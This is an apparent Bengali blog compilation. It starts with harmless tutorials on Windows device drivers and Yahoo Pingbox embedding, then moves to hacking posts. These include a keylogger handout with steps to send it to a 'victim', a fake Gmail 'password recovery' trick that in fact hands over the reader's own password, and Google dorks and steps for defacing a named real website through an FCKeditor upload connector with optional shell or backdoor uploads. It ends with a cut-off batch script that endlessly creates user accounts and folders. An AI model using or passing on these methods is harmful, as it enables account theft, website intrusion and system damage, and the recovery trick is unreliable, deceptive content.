আসসালামু আলাইকুম

শুক্রবার, ২৩ মার্চ, ২০১২

পিসি স্বচ্ছন্দে রান করতে ড্রাইভারের ভূমিকা!

আমরা প্রায় সবাই জানি, কম্পিউটারের প্রধান চালিকাশক্তি হলো অপারেটিং সিস্টেম। তাই পিসির বিভিন্ন ধরনের সমস্যার জন্য সাধারণ ব্যবহারকারীরা প্রথমেই দায়ী করে থাকেন অপারেটিং সিস্টেমকে কিংবা হার্ডওয়্যারকে। কিন্তু বিস্ময়কর হলো, পিসির উদ্ভূত সমস্যার জন্য অপারেটিং সিস্টেম বা হার্ডওয়্যার ছাড়া ব্যবহারকারীর আচরণ যেমন দায়ী হতে পারে, তেমনি দায়ী হতে পারে পিসিতে ইনস্টল করা বিভিন্ন ধরনের ডিভাইস ড্রাইভার, যা আমরা অনেকেই বিবেচনায় আনি না। ডিভাইস ড্রাইভার মূলত ছোট এক ব্যাকগ্রাউন্ড প্রোগ্রাম, যা উইন্ডোজ ও কম্পিউটারের বিভিন্ন অংশের মাঝে সেতুবন্ধ হিসেবে কাজ করে।
ডিভাইস ড্রাইভার ছাড়া উইন্ডোজ কোনো কোনো পেরিফেরাল বা কম্পোনেন্ট, যেমন প্রিন্টার, মনিটর, সাউন্ডকার্ড, ডিভিডি ইত্যাদি নিয়ন্ত্রণ করতে পারে না। এসব হার্ডওয়্যার ডিভাইস যাতে যথাযথভাবে কাজ করতে পারে, তার জন্য ড্রাইভার গুরুত্বপূর্ণ ভূমিকা পালন করে। এ লেখায় পাঠশালা বিভাগে ব্যবহারকারীর উদ্দেশে ব্যাখ্যা করে দেখানো হয়েছে ড্রাইভার কী, কীভাবে এগুলো কাজ করে এবং কম্পিউটারে কোনো সমস্যা হলে কী করতে হবে ইত্যাদি।

ড্রাইভার কী?

আপনার পিসি নতুন বা পুরনো যা-ই হোক না, তা অবশ্যই হতে হবে বিভিন্ন ধরনের ড্রাইভারে পরিপূর্ণ। কম্পিউটারের সঙ্গে সংযুক্ত প্রায় সব ডিভাইস গ্রাফিক্স কার্ড থেকে হার্ডডিস্ক, নেটওয়ার্ক কানেক্টর থেকে সাউন্ড কার্ড পর্যন্ত সব কিছুরই ছোট প্রোগ্রাম সেট থাকে, যা ব্যাকগ্রাউন্ডে কাজ করে এবং অপারেটিং সিস্টেমের জন্য যা দরকার, তা এই হার্ডওয়্যারে রয়েছে—এমন তথ্য নিশ্চিত করে। আর এ কারণেই ব্যাকগ্রাউন্ডে কাজ করা এসব ছোট প্রোগ্রামকে ‘ডিভাইস ড্রাইভার’ বলা হয়। প্রথমে দেখা যাক, যে ড্রাইভার আপনার পিসিতে এরই মধ্যে ইনস্টল করা হয়েছে সে সম্পর্কে। এজন্য উইন্ডোজ ৭ এবং ভিস্তায় ঝঃধত্ঃ বাটনে ক্লিক করে Computer-এ ডান ক্লিক করুন এবং Properties বেছে নিন। এবার ওপেন হওয়া উইন্ডোর বাম দিকের প্যানেলে Device Manager অপশনে ক্লিক করুন। এবার ডিভাইসগুলোর মধ্যে যে কোনো একটিতে ক্লিক করুন, যেটি ভালো। যেমন Sound, video and game controllers ইত্যাদি। এখন লিস্টেড ডিভাইসে ডান ক্লিক করে বেছে নিন Properties. এরপর আবির্ভূত ডায়ালগ বক্সের ওপর Driver ট্যাবে ক্লিক করে Driver Details বাটনে ক্লিক করুন। এক্সপির ক্ষেত্রে উইন্ডোজ ডেস্কটপের গু Computer আইকনে ডান ক্লিক করুন এবং Properties বেছে নিন। এরপর আবির্ভূত ডায়ালগ বক্সের Hardware ট্যাবে ক্লিক করে Device Manager বাটনে ক্লিক করলে ড্রাইভার ডিটেইল যথাযথভাবে প্রদর্শিত হবে।
ড্রাইভার ইনস্টল করা

আমরা সবাই জানি, কম্পিউটারের সঙ্গে সংযুক্ত প্রতিটি ডিভাইস যেমন প্রিন্টার, ইউএসবি মেমোরি কি, সাউন্ড কার্ড ইত্যাদির জন্য দরকার ড্রাইভার। তবে উইন্ডোজ ৭ এবং ভিস্তার ক্ষেত্রে ইউএসবি ডিভাইস ইনস্টলেশনের ঝামেলা নেই। গ্যাজেটে ডিভাইস প্ল্যাগ করলেই কিছুক্ষণের মধ্যে স্ক্রিনের নিচে নোটিফিকেশন এরিয়ার ওপর একটি মেসেজ আবির্ভূত হয়। এতে উল্লেখ থাকে, ড্রাইভার সফটওয়্যার ইনস্টল হচ্ছে। ইনস্টলেশনের কাজ শেষে দ্বিতীয় আরেকটি মেসেজ আবির্ভূত হবে আপনাকে নিশ্চিত করার জন্য।

যদি ডিভাইসটি প্রিন্টার বা স্ক্যানার ধরনের কিছু হয়ে থাকে, তাহলে এর সঙ্গে প্রয়োজনীয় ড্রাইভারসহ সিডি বা ডিভিডি দেয়া হয়। এই ডিস্কে অন্যান্য সফটওয়্যার থাকতে পারে, যেমন বাণিজ্যিক অ্যাপ্লিকেশনের ট্রায়াল বা সংক্ষিপ্ত ভার্সন। ডিস্ক কীভাবে তৈরি করা হয়েছে তার ওপর ভিত্তি করে আপনাকে হয়তো বাধ্য হয়ে সবকিছুই ইনস্টল করতে হতে পারে—আপনার প্রয়োজন থাক বা না থাক অথবা শুধু ড্রাইভার ইনস্টল করে স্পেস সাশ্রয় করতে পারেন। এরপর উইন্ডোজ আপডেটকে যদি automatic-এ সেট করা থাকে, তাহলে উইন্ডোজ ৭ এবং ভিস্তা কমন ডিভাইসের জন্য নতুন ড্রাইভের উদ্দেশে সতর্ক দৃষ্টি রাখবে ওইসব আপডেটের জন্য—যেগুলো Optional হিসেবে চিহ্নিত করা থাকবে। কেননা এগুলো সব সময় নতুন ডিভাইস ড্রাইভার সম্পৃক্ত করে।

উইন্ডোজ এক্সপি ব্যবহার করে Start>All Programs-এ ক্লিক করে Windows Update-এ ক্লিক করুন। যখন উইন্ডোজ আপডেটের ওয়েবসাইট আবির্ভূত হবে, তখন Custom বাটনে ক্লিক করে Hardware সিলেক্ট করুন এবং বাম দিকের প্যানেল থেকে Optional আইটেম সিলেক্ট করুন। এরপর ওয়েবসাইট যে কোনো মিসিং ড্রাইভারের লিস্ট প্রদর্শন করবে এবং ড্রাইভার ডাউনলোড ও ইনস্টল করার জন্য অপশন অফার করবে।

ড্রাইভার আপডেট ও ট্রাবলশুটিং

যদি পিসি স্টার্ট হয় বিশ্রী আচরণ করার জন্য, তাহলে সরাসরি Device Manager চেক করে দেখুন। ডিভাইসের অবস্থা চেক করার জন্য ডিভাইস ম্যানেজার চালু করতে হবে। এক্সপির ক্ষেত্রে ডিভাইস ম্যানেজার চালু করার উপায় এ লেখায় এরই মধ্যে বর্ণিত হওয়ায় তা আবার উল্লেখ করা হয়নি। ডিভাইস ম্যানেজারে বিভিন্ন ধরনের সমস্যা শনাক্ত হতে পারে। এগুলো বুঝতে পারবেন লাল বর্ণের ক্রস (ঢ) চিহ্ন বা হলুদ বর্ণের বিস্ময়কর চিহ্ন দেখে। লাল বর্ণের ক্রস (ঢ) চিহ্ন দিয়ে বোঝানো হচ্ছে ডিভাইসটি অপসারণ বা ডিজঅ্যাবল করা হয়েছে বা উইন্ডোজ লোকেট করতে পারছে না। পক্ষান্তরে হলুদ বর্ণের বিস্ময়কর চিহ্ন দিয়ে বোঝানো হচ্ছে যে উইন্ডোজ বুঝতে পারছে ডিভাইসটিতে সমস্যা রয়েছে, তবে তা নিশ্চিত করে বুঝতে পারছে না বা ডিভাইসটি অন্য হার্ডওয়্যারের সঙ্গে কনফ্লিক্ট করছে এবং ডিভাইসটি যথাযথভাবে কাজ করছে না।

এখানে উল্লিখিত প্রথম সমস্যাটি কখনও কখনও সমাধান তথা ফিক্স করা যায়। এজন্য লিস্টের ডিভাইসে ডান ক্লিক করে পপ-আপ মেনু থেকে Enable বেছে নিতে হবে। এরপরও যদি এটি কাজ না করে, তাহলে হলুদ বর্ণের বিস্ময়কর চিহ্নসংবলিত ডিভাইসে একইভাবে ট্রাবলশুটের চেষ্টা করতে পারেন। এজন্য ডিভাইসে ডান ক্লিক করে Properties সিলেক্ট করুন এবং আবির্ভূত ডায়ালগ বক্সের উত্রাবত্ ট্যাবে ক্লিক করুন। এখানে দুটি অপশন রয়েছে। যদি আপনার তাড়াহুড়া থাকে বা ডিভাইসটি অতিসম্প্রতি বিশ্রী আচরণ করতে শুরু করে তাহলে Roll Back Driver বাটনে ক্লিক করে পূর্ববর্তী ইনস্টল করা ভার্সনে ফিরে যেতে পারেন সমস্যা সমাধানের জন্য।

এরপরও যদি কাজ না হয় বা বাটন বাদামি বর্ণ ধারণ করে, তাহলে Update Driver বাটনে ক্লিক করুন। পরে ডায়ালগবক্সে এক্সপি ব্যবহারকারীরা দেখতে পাবেন Hardware Update Wizard ডায়ালগ। এখানে প্রদত্ত নির্দেশ অনুসরণ করুন Windows Update-কে যুক্ত করার জন্য এবং লক্ষ করে দেখুন, সেখানে কোনো ড্রাইভার আছে কি না।

উইন্ডোজ ৭ ও ভিস্তা ব্যবহারকারীরা ড্রাইভারের জন্য পিসি ও ইন্টারনেট উভয় সার্চ করার অফার পাবেন বা আপনাকেই খুঁজে নেয়ার জন্য বলবে। প্রথম অপশন বেছে নিন। অনেক ক্ষেত্রে উইন্ডোজ মিসিং ড্রাইভার খোঁজ করবে এবং একটি ইনস্টলেশন উইজার্ড চালু করবে, যা আপনাকে নিয়ে যাবে আপডেট প্রসেসে। যদি এই ধাপগুলো কাজ না করে, তাহলে কোম্পানির ওয়েবসাইটে গিয়ে ড্রাইভার খুঁজতে হবে, যা ডিভাইসটি তৈরি করেছে। গুগলে ডিভাইস প্রস্তুতকারকের ওয়েবসাইট খোঁজ করে দেখুন পণ্য বা কোম্পানির নাম অনুসন্ধান করে। ওয়েবসাইট সাপোর্ট সেকশন খোঁজ করুন। এটি পুরনো ডিভাইস হয়ে থাকলে আপনাকে আরও অনুসন্ধান করতে হবে। কাঙ্ক্ষিত ড্রাইভার খুঁজে পাওয়ার পর ডাউনলোড ও ইনস্টল করে নিন সর্বশেষ ভার্সন।

যে কোন পাসওয়ার্ড হ্যাক করুন দুর্দান্ত একটি হ্যাকিং কীলগার দিয়ে

সালাম সবাইকে আসা করি বেশ ভালো আছেন সবাই। আজ আমি আপনাদের একটা দুর্দান্ত হ্যাকিং সফটওয়্যার দিতে এলাম! যার মাধ্যমে আপনারা সহজে ফেসবুক বা অন্য যে কোন একাউন্ট এর পাসওয়ার্ড হ্যাক করতে পারবেন। এই সফটয়ার টা একটা keylogger কিন্তু খুব সহজ ভাবে ব্যবহার করা যাবে এবং এটি খুব ই কার্যকারী হ্যাকিং সফটওয়্যার। কীলগার এর কাজ হল আপনার শত্রু তার কম্পিউটার এর কীবোর্ড এর মাঝে যা কিছু টাইপ করবে সমস্থ তথ্য আপনার কাছে চলে আসবে। প্রথম কাজ হলো আপনাকে সফটয়ারটা download করতে হবে ।

সম্পূর্ণ ফ্রীতে মিডিয়া ফায়ার লিংক download করার জন্য এই লিঙ্কে ক্লিক করেন।

১। ডাউনলোড করার পর এক্সট্রাক্ট করলে আপনি একটা .exe ফাইল দেখতে পাবেন ঠিক সে ফাইল টা ওপেন করেন । (ওপেন করার আগে অবশ্যই antivirus বন্ধ করে নিন। এটা অবশ্য ভাইরাস না। কিন্তু এন্টিভাইরাসের বিশ্বাস নেই)

২। ডাউনলোড শেষ হলে এখন আপনার কাজ হলে কিভাবে keylogger build করবেন ভাবছেন?

৩। যদি করতে চান একবার স্ক্রীন শট টা দেখেন ।

৪। Build server এ ক্লিক করার পর আপনি ৩ টা ফাইল দেখতে পাবেন ছবির মত।

৫। তারপর এই ২ টা ফাইল আপনার ভিকটিম কে পাটিয়ে দেন যাকে আপনি হ্যাক করতে চান কিন্তু মনে রাখবেন ফাইল ২ টা পাটাবেন winrar এর মাধ্যমে ।

৬। এর পর আপনার ভিকটিম যদি এটাতে ক্লিক করে তাহলে তার type করা সব কিছু আপনার কাছে চলে আসবে।

Yahoo Messenger দিয়ে চ্যাট করুন আপনার ব্লগ/ওয়েব visitor এর সাথে

আসসালামুআলাইকুম; কেমন আছেন সবাই? আশাকরি আল্রাহর মেহেরবানীতে ভাল আছেন।

আজ আপনাদের সাথে আলোচনা করবো কিভাবে Yahoo Messenger আপনার Blog কিংবা Web এ যুক্ত করবেন এবং সরাসরি ভিসিটরের সাথে চ্যাট করবেন।

আমাদের যাদের জীবনের বড় একটা অংশ হচ্ছে অনলাইন তাদের অনেকেরই website আছে আর যাদের নাই তাদের অন্তত একটা Blog আছে। আর আমরা সে Blog এ নানান বিসয় লিখে থাকি। অনেক সময় Visitor সেই লিখা পড়ে ভিবিন্ন সমাধানের জন্য owner কে খুজতে থাকে। কিন্তু কোথায় পাবে সে? আমরা যদি আমাদের Blog/Web এ yahoo Messenger Ping Box যুক্ত করে দেই তা হলে খুব সহযে একজন visitor আপনাকে খুজে পাবে আর তার মনের যত প্রশ্ন আছে সব আপনাকে করতে পারবে। অপর দিকে আপনি ও আপনার Blog/Website এ না গিয়ে সুধুমাত্র আপনার messenger থেকে সরাসরি Visitor এর প্রশ্নের উত্তর দিতে পারবেন। তা হলে আসুন শিখি কি ভাবে এটা করতে হয়।

প্রথমে এখানে ক্লিক করেন তার পর একটা নতুন (yahoo messenger) পেজ আসবে। যেখানে আপনি নিচের মত দেখতে পাবেন

এখান থেকে Create a Pingbox এখানে click করুন। Click করার পর আপনি Loading page দেখতে পাবেন।

এবং Loading শেষ হলে আপনি কিছ option পাবেন। নিচের ইমেজ টি লক্ষ্য করুন।

১. Background Theme: আপনার তৈরি কৃত Messenger Box এর রং/বিষয় কেমন হবে সেটা ঠিক করেদিতে পারেন এখান হতে। এখানে আরো কিছ sub option পাবেন। যেমন: Fun; Professional; Seasonal; Colar প্রভৃতি। আপনি আপনার পছন্দ মত যে কোন একটা option নির্ধারন করে একটা theme select করুন।

২. Text size & color: আপনার তৈরি কৃত Messenger Box এর লেখার আকৃতি কত বড়/ছোট হবে সেটা নির্ধারন করে দিবেন এখান থেকে

৩. Font Color: এইখান থেকে আপনি আপনার Messenger Box লিখার রং পরিবর্তন করে দিতে পারেন।

৪. Display name: আপনার Messenger ping box কি নামে হবে অর্থাৎ যে নামে চাচ্ছেন সে নাম এখানে লিখে দিন। যেমন: Help Line; Admin; অথবা আপনার নাম ও দিয়ে দিতে পারেন। আপনি যে নাম দিবেন visitor আপনার site visit করার সময় সে নামে আপনার messenger box দেখতে পাবে।

৫. Show Yahoo! Messenger display image: আপনি আপনার Yahoo Messenger এ যে Image ব্যবাহর করছে তা যদিPingbox এ show করতে চান তবে টিকচিহ্ন দিন না করতে চাইলে উঠিয়ে দিন।


৬. Online greeting:আপনি অনলাইনে থাকা অবস্থায় visitor কি ধরনের শুভেচ্ছো বার্তা পাবে তা এখান থেকে নির্ধারন করে দিতে পারেন বা আপনার ইচ্ছা মত কিছু লিখে ও দিতে পারেন। যেমন: Hi Dear! If You Have any Question Chat with me now.

৭. Offline Massage: আপনি যদি অনলাইনে না থাকেন visitor কি ধরনের শুভেচ্ছো বার্তা পাবে তা এখান থেকে নির্ধারন করে দিতে পারেন বা আপনার ইচ্ছা মত কিছু লিখে ও দিতে পারেন। যেমন: Really Sorry For Offline. Visit me Letter Or send me massage (your id)@yahoo.com

৮. Require visitors to enter Nickname to send IM: Visitor যখন আপনার site এ আসবে / আপনার ping box এ Enter করবে তখন Yahoo সাধারনত Visitor1; Visitor2 এই নামে পরিচয় করে। কিন্তু আপনি যদি চান যে এই নামে না Visitor তার আসল নামে / নাম পরিবর্তন করে আপনার সাথে চ্যাট করবে তা হলে আপনি এই টিকচিহ্ন টা দিয়েরাখুন আর না চাইলে উঠিয়ে দিন। তবে টিক দিয়ে রাখা ভাল।

৯. Save Pingbox as: আপনি আপনার Pingbox টি yahoo server এ যে নামে save রাখতে চান সে নামটি এই box এ লিখে দিন। যে কেন নাম দিতে পারে, চাইলে আপনার Girlfriend এর নাম ও দিতে পারেন কোন সমস্যা নাই। এইটা Visitor দেখবে না।

১০. Online এ সব কিছুর শেষে আমরা যে কাজটি করি এখন সেটা করেন । অথাৎ save এ Click করবেন।

(এখন যদি আপনার yahoo logging করা না থাকে তবে yahoo logging page আসবে। আপনি সাধারন ভাবে আপনার messenger ID & Pass Use করে Logging করেন।)

তার পর নিচের মত একটা পেজ পাবেন।

১১. Size: এখানে আপনি আপনার ping box আকার নির্ধারন করবেন। মানে হল আপনার site এর কতটুকু যায়গা জুরে থাকবে ( দৈর্ঘ্য এবং প্রস্থ) তা নির্ধারন করে দিবেন। মোট তিনটি option আছে Custom এ আপনি আপনার ইচ্ছা মত আকার লিখে দিতে পারেন।

১২. উপরের দিকে লক্ষ্য করেন। কিছু কোড দেখা জাচ্ছে। Copy to Clipboard এ Click করে আপনি code গুলো কে Copy করবে এবং এই কোড গুলো আপনার website বা Blog এ Pest করে দিবেন তা হলে আপনার কাজ শেষ।

এখন Visitor আপনার site visit করার সময় নিচের মত দেখতে পাবে। তার পর আপনাকে massage দিলে সে massage সরাসমরি চলে যাবে আপনার Yahoo Messenger এ।

পূর্বে প্রকাশিত**

এ্যাডভান্স হ্যাকিং! : ফেসবুক আইডি

****বি:দ্র: আমার এই ধারাবাহিক পোষ্টটি শুধু মাত্র শিখার উদ্দেশ্যে (For Education Purpose Only) এবং হ্যাকার দের হাত থেকে বাঁচার উপায় জানার উদ্দেশ্যে শেয়ার করা হয়েছে। এ পোষ্ট থেকে কিছু শিখে যদি তা ক্ষতিকর বা বেআইনি কাজে ব্যবহার করা হয় তবে আমি এবং এই ব্লগটি দায়ী থাকবে না।****

ফেসবুক আইডি হ্যাকিং (২য় পর্ব)

আমরা ফেসবুক ব্যবহার করি। অনেকেই জানেন না যে কত সহজে ফেসবুক আইডি হ্যাক করা যায়। তাই আপনার ফেসবুক আইডি সম্পর্কে সচেতন হউন। কিছু পদক্ষেপ অনুসরণ করলে আপনি আপনার ফেসবুক আইডিকে সহজে হ্যাকারদের হাত থেকে বাঁচাতে পারবেন।

ফেসবুক আইডি হ্যাকিং করার জন্য সবচেয়ে সহজ উপায় হল প্রাইমারি ইমেইল হ্যাকিং। আমি যেহেতু সহজ থেকে কঠিন এ যাব তাই সহজ উপায় দিয়েই শুরু করছি।>>>>>>>>>

প্রাইমারী ইমেইল: (২য় পর্ব)

যেকারো ফেসবুক আইডিতে দেখবেন এক বা একাধিক ইমেইল আইডি বিদ্যমান। এখন আমরা যদি প্রাইমারী ইমেইলটি (একাধিক ইমেইল এর মধ্যে প্রথমটি) হ্যাক করতে পারি তাহলে খুবই সহজে ওই ফেসবুক আইডি টি হ্যাক করতে পারব।

এখন প্রাইমারী ইমেইলটি যদি জিমেইল এর হয় তবে নিচের পদ্ধতি অনুসরণ করে ওই জিমেইল আইডিটি হ্যাক করতে পারবেন।

(এই পোষ্টটি পড়ে একই সাথে ফেসবুক এবং জিমেইলআইডি দুটোই হ্যাক করতে পারবো)

এজন্য আপনার নিজের একটি জিমেইলমেইল আইডি থাকতে হবে এবং সেটি অবশ্যই ৩০দিনের বেশি ব্যবহার করা মানে ৩০দিনের আগে খুলতে হবে / ৩০দিনের বেশি পুরাতন আইডি।

স্টেপ:

*প্রথমে আপনি আপনার নিজের জিমেইল আইডিতে প্রবেশ করুন।

*কম্পোজ ইমেইল এ ক্লিক করুন। কম্পোজ ইমেইল পেজ টি আসবে।

*এখন একটি ইমেইল আপনাকে পাঠাতে হবে জিমেইল স্টাফদের কাছে।

* To: অপশনে লিখুন ppwdmaster@gmail.com এটি জিমেইল স্টাফদের ইমেইল আইডি।

* Subject : অপশনে হুবহু লিখুন ” PASSWORD RECOVERY ” (কমা চিহ্ন সহ)। CC & BCC অপশনটি খালি রাখুন।

* এখন ম্যসেজ এর বডি তে আসুন। ম্যাসেজ এর বডির প্রথম লাইনে আপনি যে জিমেইল আইডি’টি হ্যাক করতে চান সেটি লিখুন।

দ্বিতীয় লাইনে আপনি যেই জিমেইল আইডিটি ব্যবহার করছেন সেটি লিখুন।

তৃতীয় লাইনে আপনার আইডির পাসওর্য়াডটি লিখুন। আমি গ্যারান্টি দিচ্ছি যে আপনার পাসওর্য়াড চুরি হবে না।
(The computer needs your own Gmail ID password so it can send a JavaScript from your account in the Yahoo! Server to extract the other email addresses password. In other word the system automatically checks your password to confirm the integrity of your status. THE PROCESS WILL BE DONE AUTOMATICALLY BY THE USER ADMISISTRATION SERVER.)

সর্বশেষে ৪র্থ লাইনে নিচের কোডটি ডাউনলোড করে হুবহু লিখুন অথবা কপি -পেষ্ট করে নিন:

http://www.ziddu.com/download/18670131/GmailIDHackingCode.txt.html

সরাসরি কোডটি দেওয়া যাচ্ছে না। সরাসরি কোডটি দিলে সম্পূর্ণ কোডটি প্রদর্শন করছে না। তাই বাধ্য হয়ে ডাউনলোড লিংক এ দিতে হল।

এখন ইমেইলটি সেন্ড করুন।

আপনাদের সুবিধার্তে কাজটি আবারো দেখানো হল সহজ উপায়ে:

ধরুন আপনার জিমেইল আইডি টি হল 3xm@gmail.com এবং আপনার আইডির পাসওর্য়াড হল 123456 এবং যেই জিমেইল টি হ্যাক করতে চান সেটি হল ak47@gmail.com

তাহলে এভাবে ইমেইলটি কম্পোজ করুন:

****************************************************

To: ppwdmaster@gmail.com

Cc:
Bcc:

Subject: ” PASSWORD RECOVERY ”

***********(BODY)************

ak47@gmail.com
3xm@gmail.com
123456
(((((((((((((((The Downloaded Code))))))))))))))))))

এখন মেইলটি সেন্ড করুন।

এর কিছুক্ষণ পর আপনার জিমেইল আইডিতে একটি মেইল আসবে যার বিষয় হবে “System Reg Message” from “System”

এই মেইলটিতে আপনি আপনার ভিকটিম এর পাসওর্য়াডটি পেয়ে যাবেন! কত সহজ! তাই না>>>

এখন যেহেতু আপনি ওই আইডির প্রাইমারী ইমেইল এর পাসওর্য়াডটি পেয়ে গেছেন এখন সহজ ভাবে হ্যাকটি হয়ে যাবে।

ফেসবুক এ প্রবেশ করুন। কোন আইডি লগ-ইন করা থাকলে লগ-আউট করুন। এবার “forgot password?” অপশনে ক্লিক করুন। পরের পেজ এ ওই আইডির প্রাইমারী ইমেইল (যেটি হ্যাক করলেন) সেটি লিখুন। পরের পেজ এ সেন্ড অপশনে চাপুন।

এখন ওই ইমেইল এ প্রবেশ করে ফেসবুক পাসওর্য়াড পরিবর্তন নামক একটি মেইল আসবে। আপনি চাইলে সেখান থেকে সরাসরি লিংক এ ক্লিক করতে পারেন অথবা কনফার্রমেশন কোডটি ওই ফেসবুক পেজ এ কপি-পেষ্ট করুন।

এরপর আপনার কাছে নতুন পাসওর্য়াড চাওয়া হবে। নতুন পাসওর্য়াডটি দুবার লিখে ওই আইডিটির পাসওর্য়াড পরিবর্তন করে ওই ফেসবুক আইডিতে ঢুকে পড়-ন! এখন আপনি প্রোফাইল এ গিয়ে বর্তমান প্রাইমারী ইমেইলটি ডিলেট করে নতুন একটি মেইল যোগ করুন। হ্যাকিং সুসম্পন্ন! ওই আইডি টি এখন আপনার!

এখানে লক্ষ্য করুন, আপনি চাইলে ইমেইলটিরও পাসওর্য়াড পরিবর্তন করতে পারেন। তবে আপনি যদি ওই ব্যাটা/বেটি কে জানতে না দেন যে কে/কারা তার আইডি হ্যাক করেছে তাহলে ইমেইলটির পাসওর্য়াড পরিবর্তন করার দরকার নেই।

একইভাবে প্রাইমারী ইমেইলটি যদি হটমেইল এর হয় তবে>>>>>>>>>>>>>!!!!!!!!!

সামনের পর্বে হটমেইল আইডি হ্যাকিং নিয়ে পোষ্ট করা হবে। সবাইকে আমন্ত্রণ রইল।

(আমি উল্লেখিত পদ্ধতিটি (ইমেইল হ্যাকিং) কমপক্ষে ১২/১৩ বার ট্রাই করেছি এবং ২ বার সফল হয়েছে। তাই আপনি যদি প্রথম বারে না পারেন তবে চেষ্টা করতে থাকুন)

ভাই আমার মডেম জিপি পি১ সার্ভিস এ চলে। আর এটার স্পিড যে কত “ফাষ্ট”(!!) তা ত জানেনই। তাই ক্রিনশট দিতে পারলাম না।

আজকের হ্যাকিং ক্লাশ এখানেই সমাপ্ত

লাইভ হ্যাকিং টিটোরিয়াল (ওয়েব সাইট ডিফেস করুন) – নগদে ওয়েব সাইট হ্যাক করে দেখাবো + শিখাবো

আমি জানি অনেকেই আমারে পাইলে মাইর দিবে কারন অনেক দিন যাবত হ্যাকিং ক্লাস শুরু করাবো বলেও করাচ্ছি না। কারন একটাই বেকার মানুশ ব্যস্ত বেশী থাকি :p তবে পোলাপানের পরিক্ষা শেষ হবার সাথে সাথে আমি ক্লাস শুরু করব কথা দিলাম। আপনাদের পরিক্ষা শেষ কবে জানান আমাকে। আজকে দেখবো একদম লাইভ একটা হ্যাকিং। অনেক সময় আমরা দেখি ডিফেস করা ওয়েব সাইট। মানে অনেকিই ইন্ডেক্স পেজ ডিফেস করে না। site.com/example.html এভাবে ডিফেস করে। মানে আমার নিজের একটা ডিফেস পেজ ঐ সাইটে ঢুকায়া দেয়া আরকি। এইটুকূ ত জানেন ই তাই না? নয়ত কি আর হ্যাকিং পোস্ট এ ঘুরতে আসছেন? লল,

হ্যাকিং শুরু করুন

১। Google.com এ গিয়ে নিচের Dork টি লিখুন
inurl:admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html
অথবা

nurl:Powered By OpenCart

২। এটা লিখার পড়ে হাজার হাজার সাইট খুজে পাবেন এখন দায়িত্য আপনার সেগুলো থেকে পারফেক্ট একটা খুজে বের করা সব ত আর আমি করে দিতে পারবো না সময় ও কষ্ট করতে হবে নিজেকে।
৩। যাই হক আমি একটা খুজে পেছি ঘুরে দেখে নিন আগে সাইট টা আজকে এখানে আমরা লাইভ ডিফেস করে শিখব। http://www.schoolshopper.com.au/
যেমন নিচের লিংক তা পেয়েছি এই সাইটের।
http://www.schoolshopper.com.au/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html


(এই লিংক টা একেক সময় একেক রকম হবে বুঝতে পারছেন? মানে সব ঠিক থাকবে সামনে দিয়ে সাইটের নেম চেঞ্জ হবে আরকি। মাঝে মাঝে path ও চেঞ্জ হবে (site.com/abc/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html) আমি খুজে পাইছি এটা আপনাকে অন্য একটা খুজে বের করতে হবে অথবা এখানে করেই প্রেক্টিস করেন।
৪। এবার নোটপ্যাড ওপেন করে কিছু একটা লিখুন অথবা নিজের বানানো কোন ইমেজ মানে ডিফেস পেজ থাকলে ত কাজ হইল ই ।
৫। নোটপ্যাড এর মাঝে যা ইচ্ছা লিখুন সেভ করুন pupa.html নামে (ডিসেফ পেজ বানানো না থাকলে এটা দিয়ে করতে পারবেন সহজে আরকি)
৬। এবার এই লিংক এ যান।
http://www.schoolshopper.com.au/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html
৭। নিচের ছবির মত একটা পেজ আসবে

৮। এবার Connector ঘরের থেকে PHP সিলেক্ট করে দিন নিচের ছবির মত।

৯। এবার আপনার বানানো এইচটিএমএল ফাইল অথবা ডিফেস পেজ থাকলে সেটা আপলোড করুন। অথবা আপনি শেল আপলোড করতে পারেন।
১০। এবার দেখুন সাইটের এই লিংক এ গিয়ে আপনার ডিফেস পেজ দেখা যাবে।
www.site.com/nijerfile.html
১১। এইযে দেখুন আমি একটি পেজ ডিফেস করেছি। উপরের নিয়মে আপনিও করুন এবং বন্ধুদের দেখিয়ে দিন আপনিও একজন হকার :p থুক্কু হ্যাকার :p
http://www.schoolshopper.com.au/pupa.html
১২। আপনি চাইলে আপনার আপলোড করা ফাইলের মাঝে ভাইরাস অথবা ব্যাকডোর দিয়ে দিতে পারবেন যখনি কেউ লিংক ওপেন করবে তখনি আপনার ভাইরাসের শিকার হয়ে যাবে।
সতর্কতাঃ-
(পোস্ট টা আসলে সিরিয়াস ভাবে লিখি নাই তাই হয়ত মনে হতে পারে সিরিয়াস না, আসলে এভাবেই অনেক সাইট হ্যাক করা হয়, একি ভাবে বিভিন্য গুগল ডরক ইউস করে হ্যাক করা যায় বিভিন্য সাইটের জন্য। আরেক কথা অবশ্যই মনে রাখবেন চেষ্টা করবেন কারো ডিফেস পেজ ভিসিট না করার জন্য। আমি জিবনেও করি না। কারন ১২ নং পয়েন্ট এর মাঝে বলে দিয়েছি। সবাই ভালো থাকুন খুব সামনে হ্যাকিং এর কারখানা নিয়ে হাজির হব।)

বসে বসে কি করছেন ?আসেন কিছু ভাইরাস তৈরী করি(অপব্যাবহার করবেন না)



সবাইকে সালাম জানিয়ে আমি আবারো আমার পোস্ট শুরু করতে যাচ্ছি , আসা করি সবাই আগের মতই ভালো আছেন ।

.আজকে আপনাদের জন্য নিয়ে এসেছি কিছূ ভাইরাস তৈরীর কোডিং যা শুধূ মাত্র কপি করে নোড পেডে পেস্ট করবেন এবং .bat নামে সেভ করবেন…..আরো অন্যান্য….সাবধান এ গুলো সব ভাইরাস নিজের পিসি অ্যাপলাই করতে যাবেন না ….শুধু মাত্র শিখে রাখার জন্য দিয়েছি কার ও ক্ষতি করার জন্য দেয়া হয় নাই ….কেউ যদি অ্যাপলাই করেন তাহলে নিজ দায়িত্বে করবেন …কিছু হলে আমি দায় গ্রস্হ নয়….আমি কোড গুলো নিচে দিচ্ছি……

:start
@ECHO SET magic2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a magic2=%%magic2%%+1 >> bat6.bat
@ECHO NET USER magic2%%magic2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5

:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.bat
@ECHO SET pogo=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR pogo%%pogo%% >> bat5.bat
